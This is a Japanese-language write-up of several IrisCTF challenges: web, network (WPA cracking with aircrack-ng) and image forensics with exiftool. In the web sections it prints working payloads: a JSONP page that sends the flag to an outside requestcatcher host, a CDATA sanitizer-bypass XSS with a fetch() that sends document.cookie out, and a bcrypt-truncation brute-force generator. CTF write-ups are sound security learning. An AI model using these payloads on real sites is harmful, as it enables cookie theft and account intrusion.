- [web] babycsrf
- [web] babystrechy
- [web] Feeling Tagged
- [network] babyshark
- [network] wi-the-fi
- [forensics] babyforens
[web] babycsrf
jsonpでフラグが落ちてくるendpointがあるので、その中身を回収するようなxssサイトを書いてやる。
提供コードを参考にして、以下のように書く。
https://babycsrf-web.chal.irisc.tf/api
を取得するときは、オリジンはbabycsrfのものになるので適切なCookieが使用される。
(俗にいう3rd party cookie)
jsonpで読み込めば、オリジンをまたいでデータを参照可能なので、あとは適当に外部送信してやればいい。
<!DOCTYPE html> <html> <body> <script> window.setMessage = (m) => { window.location.href='https://[yours].requestcatcher.com/test?get='+m; } window.onload = () => { s = document.createElement("script"); s.src = "https://babycsrf-web.chal.irisc.tf/api"; document.body.appendChild(s); } </script> </body> </html>
[web] babystrechy
https://www.php.net/manual/en/function.password-hash.php
PASSWORD_BCRYPTをアルゴリズムとして 使用すると、passwordパラメーターが最大長の 72 バイトに切り捨てられます。
これは使えそう。
hexの各文字が64倍にされているが、先頭の72文字しか使われていないので、[1文字目]*64+[2文字目]*8
のような構成になっている。
1文字目と2文字目は[0-9a-f]なので、全探索が可能。
しかも複数個送れるので以下のようにして全通りを辞書として作って一気に送ってやればいい。
<?php $chars = "0123456789abcdef"; for ($i=0; $i<16; $i++) { for ($j=0; $j<16; $j++) { $pass = str_repeat($chars[$i],64) . str_repeat($chars[$j], 8); echo $pass . "\n"; } }
全部一気に送り付けるとフラグが出てくる。
[web] Feeling Tagged
BeautifulSoupを使ってサニタイズ機能を実装している。
適当にbypassできそうなコードを探して試すとたまたま通った。
<![CDATA["><script>alert("XSS")</script><!--]]>
あとはXSSするだけ。
fetch(https://[yours].requestcatcher.com/test${document.cookie}
);
をalertの代わりに入れて、/page?
のアドレスを踏ませればフラグが得られる。
[network] babyshark
とりあえずプロトコル階層を出してみるとCompuserve GIF
というのがあるので、エキスパート解析でHTTPを選んでみる。
babyshark.gifという画像があるので、取り出してみてみるとフラグが書いてある。
サメちゃんが踊っている。
[network] wi-the-fi
aircrackしてみるとパスワードが手に入る
aircrack-ng -w /usr/share/wordlists/rockyou.txt ./BobertsonNet.cap
Time left: 23 minutes, 7 seconds 0.13% KEY FOUND! [ billybob1 ]
これを以下にあるような感じで設定に入れると通信が復号化される。
https://anilcelik.medium.com/en-defcon-27-advanced-wireless-exploitation-workshop-ctf-write-up-f787b0899256
この状態でプロトコル階層統計を見ると、いろいろ通信がわかるようになる。
TCPで流れているものを漁っていくと、20422番目のパケットにフラグがあった。
[forensics] babyforens
画像から以下の情報を抜き出して、
irisctf{latitude_longitude_epochtime_serial_secret}
の形で答える必要がある。
緯度経度
exiftoolでの出力を変換すればいい。
GPS Latitude : 37 deg 44' 49.46" N GPS Longitude : 119 deg 35' 46.77" W
37.74707222
-119.59632500
っぽいので、
37.74_-119.59
epochtime
作成時間を変換すればいいのかな?exiftoolで同様にみられる。
Create Date : 2022:08:27 10:04:56
撮影場所はアメリカのカリフォルニアであることもexiftoolから分かる。
ここは検索するとGMT-8らしい。
つまり、2022:08:27 10:04:56 (GMT-8)
なので、UTCに直すには+8時間してやる必要がある。
つまり、2022:08:27 18:04:56 (GMT+0)
これをepochtimeにすると、1661623496だが、ダメ。うーん。
もしかして時期的にサマータイム????
さらに-1時間したら正解だった。
つまり、2022:08:27 17:04:56 (GMT+0)をepochtimeにした1661619896が正解。
serial
これもexiftoolで見る。
$ exiftool IMG_0917.jpg | grep Serial Internal Serial Number : RL2218903 Serial Number : 392075057288 Lens Serial Number : 0000000000
いくつかあるが、Serial Numberが答え。
secret
secret???
問題文を見るとわざとファイルを壊してあるらしい。
普通のjpgをバイナリエディタを使って比較してみると、先頭が一部0埋めされていた。
先頭10バイトをFF D8 FF E0 00 10 4A 46 49 46
のように戻してやると普通にみられるようになる。
secretの内容が書いてあった。
exif_data_can_leak_a_lot_of_info